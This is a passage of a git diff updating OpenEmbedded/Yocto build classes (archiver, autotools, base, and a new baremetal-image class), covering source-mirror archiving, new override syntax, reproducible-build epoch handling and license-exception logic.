+ def is_excluded(url):
+ for prefix in mirror_exclusions:
+ if url.startswith(prefix):
+ return True
+ return False
+
+ bb.note('Archiving the source as a mirror...')
+
+ bb.utils.mkdirhier(destdir)
+
+ fetcher = bb.fetch2.Fetch(src_uri, d)
+
+ for ud in fetcher.expanded_urldata():
+ if is_excluded(ud.url):
+ bb.note('Skipping excluded url: %s' % (ud.url))
+ continue
+
+ bb.note('Archiving url: %s' % (ud.url))
+ ud.setup_localpath(d)
+ localpath = None
+
+ # Check for mirror tarballs first. We will archive the first mirror
+ # tarball that we find as it's assumed that we just need one.
+ for mirror_fname in ud.mirrortarballs:
+ mirror_path = os.path.join(dl_dir, mirror_fname)
+ if os.path.exists(mirror_path):
+ bb.note('Found mirror tarball: %s' % (mirror_path))
+ localpath = mirror_path
+ break
+
+ if len(ud.mirrortarballs) and not localpath:
+ bb.warn('Mirror tarballs are listed for a source but none are present. ' \
+ 'Falling back to original download.\n' \
+ 'SRC_URI = %s' % (ud.url))
+
+ # Check original download
+ if not localpath:
+ bb.note('Using original download: %s' % (ud.localpath))
+ localpath = ud.localpath
+
+ if not localpath or not os.path.exists(localpath):
+ bb.fatal('Original download is missing for a source.\n' \
+ 'SRC_URI = %s' % (ud.url))
+
+ # We now have an appropriate localpath
+ bb.note('Copying source mirror')
+ cmd = 'cp -fpPRH %s %s' % (localpath, destdir)
+ subprocess.check_call(cmd, shell=True)
+}
+
def exclude_useless_paths(tarinfo):
if tarinfo.isdir():
if tarinfo.name.endswith('/temp') or tarinfo.name.endswith('/patches') or tarinfo.name.endswith('/.pc'):
@@ -304,15 +410,16 @@ def create_tarball(d, srcdir, suffix, ar_outdir):
# that we archive the actual directory and not just the link.
srcdir = os.path.realpath(srcdir)
+ compression_method = d.getVarFlag('ARCHIVER_MODE', 'compression')
bb.utils.mkdirhier(ar_outdir)
if suffix:
- filename = '%s-%s.tar.gz' % (d.getVar('PF'), suffix)
+ filename = '%s-%s.tar.%s' % (d.getVar('PF'), suffix, compression_method)
else:
- filename = '%s.tar.gz' % d.getVar('PF')
+ filename = '%s.tar.%s' % (d.getVar('PF'), compression_method)
tarname = os.path.join(ar_outdir, filename)
bb.note('Creating %s' % tarname)
- tar = tarfile.open(tarname, 'w:gz')
+ tar = tarfile.open(tarname, 'w:%s' % compression_method)
tar.add(srcdir, arcname=os.path.basename(srcdir), filter=exclude_useless_paths)
tar.close()
@@ -361,7 +468,7 @@ python do_unpack_and_patch() {
ar_sysroot_native = d.getVar('STAGING_DIR_NATIVE')
pn = d.getVar('PN')
- # The kernel class functions require it to be on work-shared, so we dont change WORKDIR
+ # The kernel class functions require it to be on work-shared, so we don't change WORKDIR
if not is_work_shared(d):
# Change the WORKDIR to make do_unpack do_patch run in another dir.
d.setVar('WORKDIR', ar_workdir)
@@ -381,6 +488,9 @@ python do_unpack_and_patch() {
src_orig = '%s.orig' % src
oe.path.copytree(src, src_orig)
+ if bb.data.inherits_class('dos2unix', d):
+ bb.build.exec_func('do_convert_crlf_to_lf', d)
+
# Make sure gcc and kernel sources are patched only once
if not (d.getVar('SRC_URI') == "" or is_work_shared(d)):
bb.build.exec_func('do_patch', d)
@@ -403,7 +513,7 @@ python do_unpack_and_patch() {
# of the output file ensures that we create it each time the recipe
# gets rebuilt, at least as long as a PR server is used. We also rely
# on that mechanism to catch changes in the file content, because the
-# file content is not part of of the task signature either.
+# file content is not part of the task signature either.
do_ar_recipe[vardepsexclude] += "BBINCLUDED"
python do_ar_recipe () {
"""
@@ -441,9 +551,10 @@ python do_ar_recipe () {
incfile = include_re.match(line).group(1)
if incfile:
incfile = d.expand(incfile)
+ if incfile:
incfile = bb.utils.which(bbpath, incfile)
- if incfile:
- shutil.copy(incfile, outdir)
+ if incfile:
+ shutil.copy(incfile, outdir)
create_tarball(d, outdir, 'recipe', d.getVar('ARCHIVER_OUTDIR'))
bb.utils.remove(outdir, recurse=True)
@@ -479,12 +590,16 @@ do_deploy_archives[sstate-outputdirs] = "${DEPLOY_DIR_SRC}"
addtask do_deploy_archives_setscene
addtask do_ar_original after do_unpack
-addtask do_unpack_and_patch after do_patch
+addtask do_unpack_and_patch after do_patch do_preconfigure
addtask do_ar_patched after do_unpack_and_patch
addtask do_ar_configured after do_unpack_and_patch
+addtask do_ar_mirror after do_fetch
addtask do_dumpdata
addtask do_ar_recipe
-addtask do_deploy_archives before do_build
+addtask do_deploy_archives
+do_build[recrdeptask] += "do_deploy_archives"
+do_rootfs[recrdeptask] += "do_deploy_archives"
+do_populate_sdk[recrdeptask] += "do_deploy_archives"
python () {
# Add tasks in the correct order, specifically for linux-yocto to avoid race condition.
diff --git a/meta/classes/autotools.bbclass b/meta/classes/autotools.bbclass
index 3d22ad0255..4ab2460990 100644
--- a/meta/classes/autotools.bbclass
+++ b/meta/classes/autotools.bbclass
@@ -1,11 +1,11 @@
-def autotools_dep_prepend(d):
+def get_autotools_dep(d):
if d.getVar('INHIBIT_AUTOTOOLS_DEPS'):
return ''
pn = d.getVar('PN')
deps = ''
- if pn in ['autoconf-native', 'automake-native', 'help2man-native']:
+ if pn in ['autoconf-native', 'automake-native']:
return deps
deps += 'autoconf-native automake-native '
@@ -17,9 +17,10 @@ def autotools_dep_prepend(d):
and not d.getVar('INHIBIT_DEFAULT_DEPS'):
deps += 'libtool-cross '
- return deps + 'gnu-config-native '
+ return deps
-DEPENDS_prepend = "${@autotools_dep_prepend(d)} "
+
+DEPENDS:prepend = "${@get_autotools_dep(d)} "
inherit siteinfo
@@ -30,7 +31,7 @@ inherit siteinfo
export CONFIG_SITE
acpaths ?= "default"
-EXTRA_AUTORECONF = "--exclude=autopoint"
+EXTRA_AUTORECONF = "--exclude=autopoint --exclude=gtkdocize"
export lt_cv_sys_lib_dlsearch_path_spec = "${libdir} ${base_libdir}"
@@ -90,7 +91,7 @@ oe_runconf () {
cfgscript=`python3 -c "import os; print(os.path.relpath(os.path.dirname('${CONFIGURE_SCRIPT}'), '.'))"`/$cfgscript_name
if [ -x "$cfgscript" ] ; then
bbnote "Running $cfgscript ${CONFIGUREOPTS} ${EXTRA_OECONF} $@"
- if ! ${CACHED_CONFIGUREVARS} $cfgscript ${CONFIGUREOPTS} ${EXTRA_OECONF} "$@"; then
+ if ! CONFIG_SHELL=${CONFIG_SHELL-/bin/bash} ${CACHED_CONFIGUREVARS} $cfgscript ${CONFIGUREOPTS} ${EXTRA_OECONF} "$@"; then
bbnote "The following config.log files may provide further information."
bbnote `find ${B} -ignore_readdir_race -type f -name config.log`
bbfatal_log "configure failed"
@@ -131,7 +132,7 @@ autotools_postconfigure(){
EXTRACONFFUNCS ??= ""
-EXTRA_OECONF_append = " ${PACKAGECONFIG_CONFARGS}"
+EXTRA_OECONF:append = " ${PACKAGECONFIG_CONFARGS}"
do_configure[prefuncs] += "autotools_preconfigure autotools_aclocals ${EXTRACONFFUNCS}"
do_compile[prefuncs] += "autotools_aclocals"
@@ -140,13 +141,16 @@ do_configure[postfuncs] += "autotools_postconfigure"
ACLOCALDIR = "${STAGING_DATADIR}/aclocal"
ACLOCALEXTRAPATH = ""
-ACLOCALEXTRAPATH_class-target = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
-ACLOCALEXTRAPATH_class-nativesdk = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
+ACLOCALEXTRAPATH:class-target = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
+ACLOCALEXTRAPATH:class-nativesdk = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
python autotools_aclocals () {
- d.setVar("CONFIG_SITE", siteinfo_get_files(d, sysrootcache=True))
+ sitefiles, searched = siteinfo_get_files(d, sysrootcache=True)
+ d.setVar("CONFIG_SITE", " ".join(sitefiles))
}
+do_configure[file-checksums] += "${@' '.join(siteinfo_get_files(d, sysrootcache=False)[1])}"
+
CONFIGURE_FILES = "${S}/configure.in ${S}/configure.ac ${S}/config.h.in ${S}/acinclude.m4 Makefile.am"
autotools_do_configure() {
@@ -215,21 +219,13 @@ autotools_do_configure() {
PRUNE_M4="$PRUNE_M4 gettext.m4 iconv.m4 lib-ld.m4 lib-link.m4 lib-prefix.m4 nls.m4 po.m4 progtest.m4"
fi
mkdir -p m4
- if grep -q "^[[:space:]]*[AI][CT]_PROG_INTLTOOL" $CONFIGURE_AC; then
- if ! echo "${DEPENDS}" | grep -q intltool-native; then
- bbwarn "Missing DEPENDS on intltool-native"
- fi
- PRUNE_M4="$PRUNE_M4 intltool.m4"
- bbnote Executing intltoolize --copy --force --automake
- intltoolize --copy --force --automake
- fi
for i in $PRUNE_M4; do
find ${S} -ignore_readdir_race -name $i -delete
done
bbnote Executing ACLOCAL=\"$ACLOCAL\" autoreconf -Wcross --verbose --install --force ${EXTRA_AUTORECONF} $acpaths
- ACLOCAL="$ACLOCAL" autoreconf -Wcross --verbose --install --force ${EXTRA_AUTORECONF} $acpaths || die "autoreconf execution failed."
+ ACLOCAL="$ACLOCAL" autoreconf -Wcross -Wno-obsolete --verbose --install --force ${EXTRA_AUTORECONF} $acpaths || die "autoreconf execution failed."
cd $olddir
fi
if [ -e ${CONFIGURE_SCRIPT} ]; then
diff --git a/meta/classes/baremetal-image.bbclass b/meta/classes/baremetal-image.bbclass
new file mode 100644
index 0000000000..81f5e5e93d
--- /dev/null
+++ b/meta/classes/baremetal-image.bbclass
@@ -0,0 +1,121 @@
+# Baremetal image class
+#
+# This class is meant to be inherited by recipes for baremetal/RTOS applications
+# It contains code that would be used by all of them, every recipe just needs to
+# override certain variables.
+#
+# For scalability purposes, code within this class focuses on the "image" wiring
+# to satisfy the OpenEmbedded image creation and testing infrastructure.
+#
+# See meta-skeleton for a working example.
+
+
+# Toolchain should be baremetal or newlib based.
+# TCLIBC="baremetal" or TCLIBC="newlib"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
+COMPATIBLE_HOST:libc-glibc:class-target = "null"
+
+
+inherit rootfs-postcommands
+
+# Set some defaults, but these should be overriden by each recipe if required
+IMGDEPLOYDIR ?= "${WORKDIR}/deploy-${PN}-image-complete"
+BAREMETAL_BINNAME ?= "hello_baremetal_${MACHINE}"
+IMAGE_LINK_NAME ?= "baremetal-helloworld-image-${MACHINE}"
+IMAGE_NAME_SUFFIX ?= ""
+
+do_rootfs[dirs] = "${IMGDEPLOYDIR} ${DEPLOY_DIR_IMAGE}"
+
+do_image(){
+ install ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin ${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.bin
+ install ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf ${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.elf
+}
+
+do_image_complete(){
+ :
+}
+
+python do_rootfs(){
+ from oe.utils import execute_pre_post_process
+ from pathlib import Path
+
+ # Write empty manifest file to satisfy test infrastructure
+ deploy_dir = d.getVar('IMGDEPLOYDIR')
+ link_name = d.getVar('IMAGE_LINK_NAME')
+ manifest_name = d.getVar('IMAGE_MANIFEST')
+
+ Path(manifest_name).touch()
+ if os.path.exists(manifest_name) and link_name:
+ manifest_link = deploy_dir + "/" + link_name + ".manifest"
+ if os.path.lexists(manifest_link):
+ os.remove(manifest_link)
+ os.symlink(os.path.basename(manifest_name), manifest_link)
+ # A lot of postprocess commands assume the existence of rootfs/etc
+ sysconfdir = d.getVar("IMAGE_ROOTFS") + d.getVar('sysconfdir')
+ bb.utils.mkdirhier(sysconfdir)
+
+ execute_pre_post_process(d, d.getVar('ROOTFS_POSTPROCESS_COMMAND'))
+}
+
+
+# Assure binaries, manifest and qemubootconf are populated on DEPLOY_DIR_IMAGE
+do_image_complete[dirs] = "${TOPDIR}"
+SSTATETASKS += "do_image_complete"
+SSTATE_SKIP_CREATION:task-image-complete = '1'
+do_image_complete[sstate-inputdirs] = "${IMGDEPLOYDIR}"
+do_image_complete[sstate-outputdirs] = "${DEPLOY_DIR_IMAGE}"
+do_image_complete[stamp-extra-info] = "${MACHINE_ARCH}"
+addtask do_image_complete after do_image before do_build
+
+python do_image_complete_setscene () {
+ sstate_setscene(d)
+}
+addtask do_image_complete_setscene
+
+# QEMU generic Baremetal/RTOS parameters
+QB_DEFAULT_KERNEL ?= "${IMAGE_LINK_NAME}.bin"
+QB_MEM ?= "-m 256"
+QB_DEFAULT_FSTYPE ?= "bin"
+QB_DTB ?= ""
+QB_OPT_APPEND:append = " -nographic"
+
+# RISC-V tunes set the BIOS, unset, and instruct QEMU to
+# ignore the BIOS and boot from -kernel
+QB_DEFAULT_BIOS:qemuriscv64 = ""
+QB_DEFAULT_BIOS:qemuriscv32 = ""
+QB_OPT_APPEND:append:qemuriscv64 = " -bios none"
+QB_OPT_APPEND:append:qemuriscv32 = " -bios none"
+
+
+# Use the medium-any code model for the RISC-V 64 bit implementation,
+# since medlow can only access addresses below 0x80000000 and RAM
+# starts at 0x80000000 on RISC-V 64
+# Keep RISC-V 32 using -mcmodel=medlow (symbols lie between -2GB:2GB)
+CFLAGS:append:qemuriscv64 = " -mcmodel=medany"
+
+
+# This next part is necessary to trick the build system into thinking
+# its building an image recipe so it generates the qemuboot.conf
+addtask do_rootfs before do_image after do_install
+addtask do_image after do_rootfs before do_image_complete
+addtask do_image_complete after do_image before do_build
+inherit qemuboot
+
+# Based on image.bbclass to make sure we build qemu
+python(){
+ # do_addto_recipe_sysroot doesnt exist for all recipes, but we need it to have
+ # /usr/bin on recipe-sysroot (qemu) populated
+ # The do_addto_recipe_sysroot dependency is coming from EXTRA_IMAGDEPENDS now,
+ # we just need to add the logic to add its dependency to do_image.
+ def extraimage_getdepends(task):
+ deps = ""
+ for dep in (d.getVar('EXTRA_IMAGEDEPENDS') or "").split():
+ # Make sure we only add it for qemu
+ if 'qemu' in dep:
+ if ":" in dep:
+ deps += " %s " % (dep)
+ else:
+ deps += " %s:%s" % (dep, task)
+ return deps
+ d.appendVarFlag('do_image', 'depends', extraimage_getdepends('do_populate_sysroot'))
+}
diff --git a/meta/classes/base.bbclass b/meta/classes/base.bbclass
index 1cea3a2213..cc81461473 100644
--- a/meta/classes/base.bbclass
+++ b/meta/classes/base.bbclass
@@ -12,7 +12,7 @@ inherit logging
OE_EXTRA_IMPORTS ?= ""
-OE_IMPORTS += "os sys time oe.path oe.utils oe.types oe.package oe.packagegroup oe.sstatesig oe.lsb oe.cachedpath oe.license ${OE_EXTRA_IMPORTS}"
+OE_IMPORTS += "os sys time oe.path oe.utils oe.types oe.package oe.packagegroup oe.sstatesig oe.lsb oe.cachedpath oe.license oe.qa oe.reproducible oe.rust ${OE_EXTRA_IMPORTS}"
OE_IMPORTS[type] = "list"
PACKAGECONFIG_CONFARGS ??= ""
@@ -66,18 +66,18 @@ oe_runmake() {
}
-def base_dep_prepend(d):
+def get_base_dep(d):
if d.getVar('INHIBIT_DEFAULT_DEPS', False):
return ""
return "${BASE_DEFAULT_DEPS}"
-BASE_DEFAULT_DEPS = "virtual/${TARGET_PREFIX}gcc virtual/${TARGET_PREFIX}compilerlibs virtual/libc"
+BASE_DEFAULT_DEPS = "virtual/${HOST_PREFIX}gcc virtual/${HOST_PREFIX}compilerlibs virtual/libc"
BASEDEPENDS = ""
-BASEDEPENDS_class-target = "${@base_dep_prepend(d)}"
-BASEDEPENDS_class-nativesdk = "${@base_dep_prepend(d)}"
+BASEDEPENDS:class-target = "${@get_base_dep(d)}"
+BASEDEPENDS:class-nativesdk = "${@get_base_dep(d)}"
-DEPENDS_prepend="${BASEDEPENDS} "
+DEPENDS:prepend="${BASEDEPENDS} "
FILESPATH = "${@base_set_filespath(["${FILE_DIRNAME}/${BP}", "${FILE_DIRNAME}/${BPN}", "${FILE_DIRNAME}/files"], d)}"
# THISDIR only works properly with imediate expansion as it has to run
@@ -91,7 +91,7 @@ def extra_path_elements(d):
path = path + "${STAGING_BINDIR_NATIVE}/" + e + ":"
return path
-PATH_prepend = "${@extra_path_elements(d)}"
+PATH:prepend = "${@extra_path_elements(d)}"
def get_lic_checksum_file_list(d):
filelist = []
@@ -127,6 +127,9 @@ def setup_hosttools_dir(dest, toolsvar, d, fatal=True):
for tool in tools:
desttool = os.path.join(dest, tool)
if not os.path.exists(desttool):
+ # clean up dead symlink
+ if os.path.islink(desttool):
+ os.unlink(desttool)
srctool = bb.utils.which(path, tool, executable=True)
# gcc/g++ may link to ccache on some hosts, e.g.,
# /usr/local/bin/ccache/gcc -> /usr/bin/ccache, then which(gcc)
@@ -138,11 +141,6 @@ def setup_hosttools_dir(dest, toolsvar, d, fatal=True):
os.symlink(srctool, desttool)
else:
notfound.append(tool)
- # Force "python" -> "python2"
- desttool = os.path.join(dest, "python")
- if not os.path.exists(desttool):
- srctool = "python2"
- os.symlink(srctool, desttool)
if notfound and fatal:
bb.fatal("The following required tools (as specified by HOSTTOOLS) appear to be unavailable in PATH, please install them in order to proceed:\n %s" % " ".join(notfound))
@@ -152,17 +150,18 @@ do_fetch[dirs] = "${DL_DIR}"
do_fetch[file-checksums] = "${@bb.fetch.get_checksum_file_list(d)}"
do_fetch[file-checksums] += " ${@get_lic_checksum_file_list(d)}"
do_fetch[vardeps] += "SRCREV"
+do_fetch[network] = "1"
python base_do_fetch() {
src_uri = (d.getVar('SRC_URI') or "").split()
- if len(src_uri) == 0:
+ if not src_uri:
return
try:
fetcher = bb.fetch2.Fetch(src_uri, d)
fetcher.download()
except bb.fetch2.BBFetchException as e:
- bb.fatal(str(e))
+ bb.fatal("Bitbake Fetcher Error: " + repr(e))
}
addtask unpack after do_fetch
@@ -172,16 +171,54 @@ do_unpack[cleandirs] = "${@d.getVar('S') if os.path.normpath(d.getVar('S')) != o
python base_do_unpack() {
src_uri = (d.getVar('SRC_URI') or "").split()
- if len(src_uri) == 0:
+ if not src_uri:
return
try:
fetcher = bb.fetch2.Fetch(src_uri, d)
fetcher.unpack(d.getVar('WORKDIR'))
except bb.fetch2.BBFetchException as e:
- bb.fatal(str(e))
+ bb.fatal("Bitbake Fetcher Error: " + repr(e))
+}
+
+SSTATETASKS += "do_deploy_source_date_epoch"
+
+do_deploy_source_date_epoch () {
+ mkdir -p ${SDE_DEPLOYDIR}
+ if [ -e ${SDE_FILE} ]; then
+ echo "Deploying SDE from ${SDE_FILE} -> ${SDE_DEPLOYDIR}."
+ cp -p ${SDE_FILE} ${SDE_DEPLOYDIR}/__source_date_epoch.txt
+ else
+ echo "${SDE_FILE} not found!"
+ fi
+}
+
+python do_deploy_source_date_epoch_setscene () {
+ sstate_setscene(d)
+ bb.utils.mkdirhier(d.getVar('SDE_DIR'))
+ sde_file = os.path.join(d.getVar('SDE_DEPLOYDIR'), '__source_date_epoch.txt')
+ if os.path.exists(sde_file):
+ target = d.getVar('SDE_FILE')
+ bb.debug(1, "Moving setscene SDE file %s -> %s" % (sde_file, target))
+ bb.utils.rename(sde_file, target)
+ else:
+ bb.debug(1, "%s not found!" % sde_file)
}
+do_deploy_source_date_epoch[dirs] = "${SDE_DEPLOYDIR}"
+do_deploy_source_date_epoch[sstate-plaindirs] = "${SDE_DEPLOYDIR}"
+addtask do_deploy_source_date_epoch_setscene
+addtask do_deploy_source_date_epoch before do_configure after do_patch
+
+python create_source_date_epoch_stamp() {
+ source_date_epoch = oe.reproducible.get_source_date_epoch(d, d.getVar('S'))
+ oe.reproducible.epochfile_write(source_date_epoch, d.getVar('SDE_FILE'), d)
+}
+do_unpack[postfuncs] += "create_source_date_epoch_stamp"
+
+def get_source_date_epoch_value(d):
+ return oe.reproducible.epochfile_read(d.getVar('SDE_FILE'), d)
+
def get_layers_branch_rev(d):
layers = (d.getVar("BBLAYERS") or "").split()
layers_branch_rev = ["%-20s = \"%s:%s\"" % (os.path.basename(i), \
@@ -233,6 +270,7 @@ python base_eventhandler() {
if isinstance(e, bb.event.ConfigParsed):
if not d.getVar("NATIVELSBSTRING", False):
d.setVar("NATIVELSBSTRING", lsb_distro_identifier(d))
+ d.setVar("ORIGNATIVELSBSTRING", d.getVar("NATIVELSBSTRING", False))
d.setVar('BB_VERSION', bb.__version__)
# There might be no bb.event.ConfigParsed event if bitbake server is
@@ -291,9 +329,9 @@ python base_eventhandler() {
source_mirror_fetch = d.getVar('SOURCE_MIRROR_FETCH', False)
if not source_mirror_fetch:
provs = (d.getVar("PROVIDES") or "").split()
- multiwhitelist = (d.getVar("MULTI_PROVIDER_WHITELIST") or "").split()
+ multiprovidersallowed = (d.getVar("BB_MULTI_PROVIDER_ALLOWED") or "").split()
for p in provs:
- if p.startswith("virtual/") and p not in multiwhitelist:
+ if p.startswith("virtual/") and p not in multiprovidersallowed:
profprov = d.getVar("PREFERRED_PROVIDER_" + p)
if profprov and pn != profprov:
raise bb.parse.SkipRecipe("PREFERRED_PROVIDER_%s set to %s, not %s" % (p, profprov, pn))
@@ -390,12 +428,30 @@ python () {
oe.utils.features_backfill("DISTRO_FEATURES", d)
oe.utils.features_backfill("MACHINE_FEATURES", d)
+ if d.getVar("S")[-1] == '/':
+ bb.warn("Recipe %s sets S variable with trailing slash '%s', remove it" % (d.getVar("PN"), d.getVar("S")))
+ if d.getVar("B")[-1] == '/':
+ bb.warn("Recipe %s sets B variable with trailing slash '%s', remove it" % (d.getVar("PN"), d.getVar("B")))
+
+ if os.path.normpath(d.getVar("WORKDIR")) != os.path.normpath(d.getVar("S")):
+ d.appendVar("PSEUDO_IGNORE_PATHS", ",${S}")
+ if os.path.normpath(d.getVar("WORKDIR")) != os.path.normpath(d.getVar("B")):
+ d.appendVar("PSEUDO_IGNORE_PATHS", ",${B}")
+
+ # To add a recipe to the skip list , set:
+ # SKIP_RECIPE[pn] = "message"
+ pn = d.getVar('PN')
+ skip_msg = d.getVarFlag('SKIP_RECIPE', pn)
+ if skip_msg:
+ bb.debug(1, "Skipping %s %s" % (pn, skip_msg))
+ raise bb.parse.SkipRecipe("Recipe will be skipped because: %s" % (skip_msg))
+
# Handle PACKAGECONFIG
#
# These take the form:
#
# PACKAGECONFIG ??= "<default options>"
- # PACKAGECONFIG[foo] = "--enable-foo,--disable-foo,foo_depends,foo_runtime_depends,foo_runtime_recommends"
+ # PACKAGECONFIG[foo] = "--enable-foo,--disable-foo,foo_depends,foo_runtime_depends,foo_runtime_recommends,foo_conflict_packageconfig"
pkgconfigflags = d.getVarFlags("PACKAGECONFIG") or {}
if pkgconfigflags:
pkgconfig = (d.getVar('PACKAGECONFIG') or "").split()
@@ -442,8 +498,8 @@ python () {
for flag, flagval in sorted(pkgconfigflags.items()):
items = flagval.split(",")
num = len(items)
- if num > 5:
- bb.error("%s: PACKAGECONFIG[%s] Only enable,disable,depend,rdepend,rrecommend can be specified!"
+ if num > 6:
+ bb.error("%s: PACKAGECONFIG[%s] Only enable,disable,depend,rdepend,rrecommend,conflict_packageconfig can be specified!"
% (d.getVar('PN'), flag))
if flag in pkgconfig:
@@ -457,9 +513,23 @@ python () {
extraconf.append(items[0])
elif num >= 2 and items[1]:
extraconf.append(items[1])
+
+ if num >= 6 and items[5]:
+ conflicts = set(items[5].split())
+ invalid = conflicts.difference(set(pkgconfigflags.keys()))
+ if invalid:
+ bb.error("%s: PACKAGECONFIG[%s] Invalid conflict package config%s '%s' specified."
+ % (d.getVar('PN'), flag, 's' if len(invalid) > 1 else '', ' '.join(invalid)))
+
+ if flag in pkgconfig:
+ intersec = conflicts.intersection(set(pkgconfig))
+ if intersec:
+ bb.fatal("%s: PACKAGECONFIG[%s] Conflict package config%s '%s' set in PACKAGECONFIG."
+ % (d.getVar('PN'), flag, 's' if len(intersec) > 1 else '', ' '.join(intersec)))
+
appendVar('DEPENDS', extradeps)
- appendVar('RDEPENDS_${PN}', extrardeps)
- appendVar('RRECOMMENDS_${PN}', extrarrecs)
+ appendVar('RDEPENDS:${PN}', extrardeps)
+ appendVar('RRECOMMENDS:${PN}', extrarrecs)
appendVar('PACKAGECONFIG_CONFARGS', extraconf)
pn = d.getVar('PN')
@@ -472,9 +542,9 @@ python () {
unmatched_license_flags = check_license_flags(d)
if unmatched_license_flags:
if len(unmatched_license_flags) == 1:
- message = "because it has a restricted license '{0}'. Which is not whitelisted in LICENSE_FLAGS_WHITELIST".format(unmatched_license_flags[0])
+ message = "because it has a restricted license '{0}'. Which is not listed in LICENSE_FLAGS_ACCEPTED".format(unmatched_license_flags[0])
else:
- message = "because it has restricted licenses {0}. Which are not whitelisted in LICENSE_FLAGS_WHITELIST".format(
+ message = "because it has restricted licenses {0}. Which are not listed in LICENSE_FLAGS_ACCEPTED".format(
", ".join("'{0}'".format(f) for f in unmatched_license_flags))
bb.debug(1, "Skipping %s %s" % (pn, message))
raise bb.parse.SkipRecipe(message)
@@ -483,22 +553,17 @@ python () {
# in order to capture permissions, owners, groups and special files
if not bb.data.inherits_class('native', d) and not bb.data.inherits_class('cross', d):
d.appendVarFlag('do_prepare_recipe_sysroot', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
- d.setVarFlag('do_unpack', 'umask', '022')
- d.setVarFlag('do_configure', 'umask', '022')
- d.setVarFlag('do_compile', 'umask', '022')
d.appendVarFlag('do_install', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
d.setVarFlag('do_install', 'fakeroot', '1')
- d.setVarFlag('do_install', 'umask', '022')
d.appendVarFlag('do_package', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
d.setVarFlag('do_package', 'fakeroot', '1')
- d.setVarFlag('do_package', 'umask', '022')
d.setVarFlag('do_package_setscene', 'fakeroot', '1')
d.appendVarFlag('do_package_setscene', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
d.setVarFlag('do_devshell', 'fakeroot', '1')
d.appendVarFlag('do_devshell', 'depends', ' virtual/fakeroot-native:do_populate_sysroot')
need_machine = d.getVar('COMPATIBLE_MACHINE')
- if need_machine:
+ if need_machine and not d.getVar('PARSE_ALL_RECIPES', False):
import re
compat_machines = (d.getVar('MACHINEOVERRIDES') or "").split(":")
for m in compat_machines:
@@ -507,7 +572,7 @@ python () {
else:
raise bb.parse.SkipRecipe("incompatible with machine %s (not in COMPATIBLE_MACHINE)" % d.getVar('MACHINE'))
- source_mirror_fetch = d.getVar('SOURCE_MIRROR_FETCH', False)
+ source_mirror_fetch = d.getVar('SOURCE_MIRROR_FETCH', False) or d.getVar('PARSE_ALL_RECIPES', False)
if not source_mirror_fetch:
need_host = d.getVar('COMPATIBLE_HOST')
if need_host:
@@ -530,99 +595,92 @@ python () {
if check_license and bad_licenses:
bad_licenses = expand_wildcard_licenses(d, bad_licenses)
- whitelist = []
- incompatwl = []
- for lic in bad_licenses:
- spdx_license = return_spdx(d, lic)
- whitelist.extend((d.getVar("WHITELIST_" + lic) or "").split())
- if spdx_license:
- whitelist.extend((d.getVar("WHITELIST_" + spdx_license) or "").split())
- '''
- We need to track what we are whitelisting and why. If pn is
- incompatible we need to be able to note that the image that
- is created may infact contain incompatible licenses despite
- INCOMPATIBLE_LICENSE being set.
- '''
- incompatwl.extend((d.getVar("WHITELIST_" + lic) or "").split())
- if spdx_license:
- incompatwl.extend((d.getVar("WHITELIST_" + spdx_license) or "").split())
-
- if not pn in whitelist:
- pkgs = d.getVar('PACKAGES').split()
- skipped_pkgs = []
- unskipped_pkgs = []
- for pkg in pkgs:
- if incompatible_license(d, bad_licenses, pkg):
- skipped_pkgs.append(pkg)
- else:
- unskipped_pkgs.append(pkg)
- all_skipped = skipped_pkgs and not unskipped_pkgs
- if unskipped_pkgs:
- for pkg in skipped_pkgs:
- bb.debug(1, "SKIPPING the package " + pkg + " at do_rootfs because it's " + license)
- mlprefix = d.getVar('MLPREFIX')
- d.setVar('LICENSE_EXCLUSION-' + mlprefix + pkg, 1)
- for pkg in unskipped_pkgs:
- bb.debug(1, "INCLUDING the package " + pkg)
- elif all_skipped or incompatible_license(d, bad_licenses):
- bb.debug(1, "SKIPPING recipe %s because it's %s" % (pn, license))
- raise bb.parse.SkipRecipe("it has an incompatible license: %s" % license)
- elif pn in whitelist:
- if pn in incompatwl:
- bb.note("INCLUDING " + pn + " as buildable despite INCOMPATIBLE_LICENSE because it has been whitelisted")
-
- # Try to verify per-package (LICENSE_<pkg>) values. LICENSE should be a
- # superset of all per-package licenses. We do not do advanced (pattern)
- # matching of license expressions - just check that all license strings
- # in LICENSE_<pkg> are found in LICENSE.
- license_set = oe.license.list_licenses(license)
- for pkg in d.getVar('PACKAGES').split():
- pkg_license = d.getVar('LICENSE_' + pkg)
- if pkg_license:
- unlisted = oe.license.list_licenses(pkg_license) - license_set
- if unlisted:
- bb.warn("LICENSE_%s includes licenses (%s) that are not "
- "listed in LICENSE" % (pkg, ' '.join(unlisted)))
+ exceptions = (d.getVar("INCOMPATIBLE_LICENSE_EXCEPTIONS") or "").split()
+
+ for lic_exception in exceptions:
+ if ":" in lic_exception:
+ lic_exception.split(":")[0]
+ if lic_exception in oe.license.obsolete_license_list():
+ bb.fatal("Invalid license %s used in INCOMPATIBLE_LICENSE_EXCEPTIONS" % lic_exception)
+
+ pkgs = d.getVar('PACKAGES').split()
+ skipped_pkgs = {}
+ unskipped_pkgs = []
+ for pkg in pkgs:
+ remaining_bad_licenses = oe.license.apply_pkg_license_exception(pkg, bad_licenses, exceptions)
+
+ incompatible_lic = incompatible_license(d, remaining_bad_licenses, pkg)
+ if incompatible_lic:
+ skipped_pkgs[pkg] = incompatible_lic
+ else:
+ unskipped_pkgs.append(pkg)
+
+ if unskipped_pkgs:
+ for pkg in skipped_pkgs:
+ bb.debug(1, "Skipping the package %s at do_rootfs because of incompatible license(s): %s" % (pkg, ' '.join(skipped_pkgs[pkg])))
+ d.setVar('_exclude_incompatible-' + pkg, ' '.join(skipped_pkgs[pkg]))
+ for pkg in unskipped_pkgs:
+ bb.debug(1, "Including the package %s" % pkg)
+ else:
